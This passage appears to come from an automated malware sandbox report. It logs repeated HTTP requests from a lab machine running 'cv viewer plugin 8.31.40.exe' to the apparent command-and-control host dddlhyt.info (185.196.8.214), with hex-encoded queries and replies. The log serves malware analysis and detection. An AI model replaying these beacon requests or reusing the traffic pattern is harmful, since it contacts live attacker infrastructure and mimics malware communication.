6a7154589bdc2f45b7acdd1c37ac76576a455b9c23bc15f940c11ad0a2cd984fff448289b9c51b0
Aug 31, 2024 22:14:07.546736956 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:07.832704067 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.9	49766	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:07.958017111 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:08.667881966 CEST	1046	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 33 34 36 0d 0a 36 37 62 36 39 63 39 35 33 38 30 34 62 32 36 62 35 36 35 66 65 39 35 62 33 32 31 62 64 31 39 61 35 35 66 63 38 66 63 65 66 35 31 38 31 39 66 35 61 32 35 36 65 33 31 64 64 64 66 39 38 31 65 63 39 34 38 37 34 64 38 62 34 64 64 37 66 62 64 66 33 31 33 33 62 39 34 64 66 61 64 34 64 61 31 62 32 33 65 38 37 64 35 39 61 64 37 35 66 36 36 63 61 38 33 36 35 32 64 65 66 37 64 33 31 36 63 32 34 32 63 63 36 33 62 31 31 36 66 66 33 39 38 65 32 36 65 34 31 30 61 64 36 37 63 64 35 36 61 35 65 35 34 65 66 33 35 62 37 63 34 36 66 32 32 63 36 36 39 66 33 39 36 37 38 65 66 66 31 61 63 32 65 65 39 37 38 34 33 65 63 35 37 31 39 37 31 37 64 63 34 65 38 65 32 39 62 32 35 33 62 36 65 39 35 66 32 61 65 63 37 38 64 37 65 33 37 38 62 31 38 65 66 31 64 34 34 65 65 37 32 30 63 62 31 36 33 37 35 37 35 39 32 30 65 33 32 35 37 39 30 31 36 34 61 37 65 61 38 65 65 30 38 37 32 63 35 30 66 38 35 64 37 65 32 32 66 34 32 62 35 64 66 37 66 63 65 63 38 64 66 32 33 36 36 35 61 36 65 65 34 35 38 63 38 35 66 63 36 34 32 35 31 [TRUNCATED] Data Ascii: 34667b69c953804b26b565fe95b321bd19a55fc8fcef51819f5a256e31dddf981ec94874d8b4dd7fbdf3133b94dfad4da1b23e87d59ad75f66ca83652def7d316c242cc63b116ff398e26e410ad67cd56a5e54ef35b7c46f22c669f39678eff1ac2ee97843ec5719717dc4e8e29b253b6e95f2aec78d7e378b18ef1d44ee720cb1637575920e325790164a7ea8ee0872c50f85d7e22f42b5df7fcec8df23665a6ee458c85fc642517b76aef98cbb964d56d1b2d387aae54cdc3ac392db0c80eb800b2a637a6c2cd2e722d10d133e319edd1be0744d33716da57def07d9e2fa9975da7e8d1a8c03b28bd7fa3ef0d85a1bd7244a283f42baefe858614ec1ce744864c72ceb6c4e3d94b65ab9cee3aaf7f8f0a29aa22dc26da9f1eca5abc3b051c51cadc675f25536d86e2872e3267461acec2b11018fcdfbdf7df2a777af93e86c8040b409da1cd075245d1756b583748fdd0d5c4facf539c376f4fe07e358636b7ca94618955ca8a201c0b6a95ff80e21811a72a8ac6137300d731ccf4910375346f9f3406f35d437979844edcb2a0e734a3dac31857932ccc43488bb1c96cd8523bb768d20
Aug 31, 2024 22:14:08.782423973 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:09.020556927 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.9	49768	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:09.147770882 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:10.079664946 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Aug 31, 2024 22:14:10.186765909 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:10.434252024 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Aug 31, 2024 22:14:10.546132088 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:10.786328077 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.9	49769	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:10.917258024 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:11.611777067 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.9	49770	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:11.739518881 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:12.426371098 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.9	49771	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:12.551911116 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:13.239588976 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.9	49772	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:13.364891052 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:14.047122955 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Aug 31, 2024 22:14:14.155745029 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:14.399249077 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.9	49773	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:14.520582914 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:15.206466913 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.9	49774	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:15.334043980 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:16.021977901 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.9	49775	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:16.146169901 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:16.841029882 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Aug 31, 2024 22:14:16.952352047 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:17.196863890 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.9	49776	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:17.317027092 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:18.002425909 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.9	49777	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:18.129928112 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:18.819413900 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.9	49778	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:18.942416906 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:19.630455017 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.9	49779	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:19.754868031 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:20.472358942 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.9	49780	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:20.630676985 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:21.317787886 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.9	49781	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:21.442254066 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:22.129813910 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.9	49782	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:22.254914999 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:22.966197014 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.9	49783	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:23.082990885 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:23.792293072 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.9	49784	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:23.945274115 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:24.633378029 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.9	49785	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:24.758738995 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:25.443111897 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.9	49786	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
